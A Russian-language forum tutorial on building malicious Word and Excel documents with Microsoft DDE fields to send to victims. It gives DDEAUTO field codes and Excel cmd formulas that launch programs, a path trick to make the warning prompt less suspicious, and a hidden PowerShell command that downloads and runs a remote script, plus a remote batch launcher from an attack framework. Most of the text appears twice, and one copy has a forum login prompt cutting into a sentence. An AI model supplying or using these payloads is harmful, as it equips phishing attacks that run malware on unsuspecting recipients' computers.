Работать будем через одну безобидную штуку, которая не всегда обнаруживается с помощью антивирусов.
Как всегда, информация предоставлена исключительно в образовательных целях. Я не несу никакой ответственности.
Теория
Вставлять вредоносный код можно с помощью DDE. DDE – Microsoft Dynamic Data Exchange. Простыми словами, это поле, которые позволяет выполнить команду и запустить исполняемую программу.
Механизм взаимодействия приложений в операционных системах Microsoft Windows и OS/2. Хотя этот механизм до сих пор поддерживается в последних версиях Windows, в основном он заменён на более мощные механизмы — OLE, COM и Microsoft OLE Automation. Однако, DDE по-прежнему используется в некоторых местах внутри самой Windows, в частности, в механизме ассоциации расширения имени файла с приложениями. Это является следствием модели разработки, в которой Microsoft в новых версиях ОС Windows следит за обеспечением совместимости со всеми её предыдущими версиями. Возможно использование для извлечения данных из сторонних приложений.
Использовать DDE можно в Word и Excel в самых разнообразных вариациях. Довольно просто сделать такой файл, который потом нужен отправить жертве.
Как добавить поле DDE в Microsoft Word?
Для этого переходим в "Вставить"->"Быстрые элементы"->"Поле" (Можно использовать быструю комбинацию CTRL + F9):
Далее необходимо выбрать = (Formula):
После появления надписи "Ошибка в формуле" нужно нажать правой кнопкой мыши и выбрать "Коды/значение полей":
Если все сделали правильно, то должна появиться такая надпись как на скриншоте. В скобки можно вставлять команду на исполнение нашей программы:
После этого нужно изменить эту ссылку на нам необходимую, а сделать это можно с помощью такой команды:
[SRC]{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }[/SRC]
Важно: необходимо перед атакой узнать, какую версию операционную системы использует наша цель. Это связано с тем, что Windows 10 64-бит имеет другой путь для командой строки (). Поэтому стоит учитывать это при формировании ссылки.
Попробуем протестировать и запустить. В моем случае команда использовалась на Windows XP с Microsoft Office 2010. Давайте детально рассмотрим запуск.
Шаг1: ничего особенного, документ спрашивает, возможно ли обновить данные, которые имеют связь с другими файлами. На этом шаге 95% обычных пользователях нажмут "да".
Шаг2: на этом шаге уже видно, что программу хочет запустить командную строку. Тот уже примерно 50% обычных юзеров могут что-то заподозрить, но в дальнейшем мы постараемся решить эту проблему.
Шаг3: после нажатия "Да", открывается калькулятор и выходит такая таблица. Понятно, что вместо калькулятора можно добавить другие команды, такие как скачивание например, рассмотрим немного ниже, как работать с другими вариациями команд.
Я думал над тем, как можно сделать мене незаметным второй шаг и я добился такого результата:
Этого удалось достигнуть с помощью такой команды:
[SRC]
{ DDEAUTO "c:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c calc.exe" }
[/SRC]
Как добавить поле DDE в Microsoft Excel?
По похожему принципу добавляем такую команду в ячейку A1:
[SRC]
=cmd|'/c calc.exe'!A1
[/SRC]
Важно: можно использовать команды в Word и Excel с параметром /c и /k. В первом случае(cmd /c просто выполняет программу, а cmd /k выполняет программу и возвращает в командную строку).
Далее сохраняем и начинаем тестировать.
Шаг1:
Шаг2:
Шаг 3:
Как видим, калькулятор успешно запустился и мы справились с задачей.
Важно: учитывая тот факт, что cmd имеет ограничение на длину аргумента в размере 1024 байта, но с помощью Powershell можно расширить существенно этот диапазон. Таким образом, можно прописать загрузку скрипта и его исполнение внутри DDE.
Но самое интересное - это скачивать и обрабатывать команды, внутри DDE. Давайте рассмотрим несколько конкретных команд для этого:
[SRC]
=-2+3+cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"http://address/script.ps1\");IEX $e'!_xlbgnm.A1
[/SRC]
Если разобраться с логикой, то функция DownloadString через Powershell переходит по ссылке
С помощью этой команды можно запустить batch файл, который будет сгенерирован в powershell empire:
[SRC]
=cmd|’/c \\server.com\script.bat;IEX $e’!A1
[/SRC]
Заключение
Я думаю идея понятная, каким образом можно добавить вредоносные программы в офисные документы. Хочу сказать, что при тестировании не на всех версиях удалось получить положительный результат. Это связано с выпуском обновлений и закрытием выполнения DDE в более новых версиях.
Важно учитывать, что обновления касались только Microsoft Word, а в Excel и Outlook данная функция работает по умолчанию.
Как всегда, информация предоставлена исключительно в образовательных целях. Я не несу никакой ответственности.
Теория
Вставлять вредоносный код можно с помощью DDE. DDE – Microsoft Dynamic Data Exchange. Простыми словами, это поле, которые позволяет выполнить команду и запустить исполняемую программу.
Механизм взаимодействия приложений в операционных системах Microsoft Windows и OS/2. Хотя этот механизм до сих пор поддерживается в последних версиях Windows, в основном он заменён на более мощные механизмы — OLE, COM и Microsoft OLE Automation. Однако, DDE по-прежнему используется в некоторых местах внутри самой Windows, в частности, в механизме ассоциации расширения имени файла с приложениями. Это является следствием модели разработки, в которой Microsoft в новых версиях ОС Windows следит за обеспечением совместимости со всеми её предыдущими версиями. Возможно использование для извлечения данных из сторонних приложений.
Использовать DDE можно в Word и Excel в самых разнообразных вариациях. Довольно просто сделать такой файл, который потом нужен отправить жертве.
Как добавить поле DDE в Microsoft Word?
Для этого переходим в "Вставить"->"Быстрые элементы"->"Поле" (Можно использовать быструю комбинацию CTRL + F9):
Далее необходимо выбрать = (Formula):
После появления надписи "Ошибка в формуле" нужно нажать правой кнопкой мыши и выбрать "Коды/значение полей":
Если все сделали правильно, то должна появиться такая надпись как на скриншоте. В скобки можно вставлять команду на исполнение нашей программы:
После этого нужно изменить эту ссылку на нам необходимую, а сделать это можно с помощью такой команды:
[SRC]{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }[/SRC]
Важно: необходимо перед атакой узнать, какую версию операционную системы использует наша цель. Это связано с тем, что Windows 10 64-бит имеет другой путь для командой строки (). Поэтому стоит учитывать это при формировании ссылки.
Попробуем протестировать и запустить. В моем случае команда использовалась на Windows XP с Microsoft Office 2010. Давайте детально рассмотрим запуск.
Шаг1: ничего особенного, документ спрашивает, возможно ли обновить данные, которые имеют связь с другими файлами. На этом шаге 95% обычных пользователях нажмут "да".
Шаг2: на этом шаге уже видно, что программу хочет запустить командную строку. Тот уже примерно 50% обычных юзеров могут что-то заподозрить, но в дальнейшем мы постараемся решить эту проблему.
Шаг3: после нажатия "Да", открывается калькулятор и выходит такая таблица. Понятно, что вместо калькулятора можно добавить другие команды, такие как скачивание например, рассмотрим немного ниже, как работать с другими вариациями команд.
Я думал над тем, как можно сделать мене незаметным второй шаг и я добился такого результата:
Этого удалось достигнуть с помощью такой команды:
[SRC]
{ DDEAUTO "c:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c calc.exe" }
[/SRC]
Как добавить поле DDE в Microsoft Excel?
По похожему принципу добавляем такую команду в ячейку A1:
[SRC]
=cmd|'/c calc.exe'!A1
[/SRC]
Важно: можно использовать команды в Word и Excel с параметром /c и /k. В первом случае(cmd /c просто выполняет программу, а cmd /k выполняет программу и возвращает в командную строку).
Далее сохраняем и начинаем тестировать.
Шаг1:
Шаг2:
Шаг 3:
Как видим, калькулятор успешно запустился и мы справились с задачей.
Важно: учитывая тот факт, что cmd имеет ограничение на длину аргумента в размере 1024 байта, но с помощью Powershell можно расширить существенно этот диапазон. Таким образом, можно прописать загрузку скрипта и его исполнение внутри DDE.
Но самое интересное - это скачивать и обрабатывать команды, внутри DDE. Давайте рассмотрим несколько конкретных команд для этого:
[SRC]
=-2+3+cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"http://address/script.ps1\");IEX $e'!_xlbgnm.A1
[/SRC]
Если разобраться с логикой, то функция DownloadString через Powershell переходит по ссылке
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
и обрабатывает скрипт. Очень важно, чтобы на компьютере нашей цели был установлен Powershell версии >=3.С помощью этой команды можно запустить batch файл, который будет сгенерирован в powershell empire:
[SRC]
=cmd|’/c \\server.com\script.bat;IEX $e’!A1
[/SRC]
Заключение
Я думаю идея понятная, каким образом можно добавить вредоносные программы в офисные документы. Хочу сказать, что при тестировании не на всех версиях удалось получить положительный результат. Это связано с выпуском обновлений и закрытием выполнения DDE в более новых версиях.
Важно учитывать, что обновления касались только Microsoft Word, а в Excel и Outlook данная функция работает по умолчанию.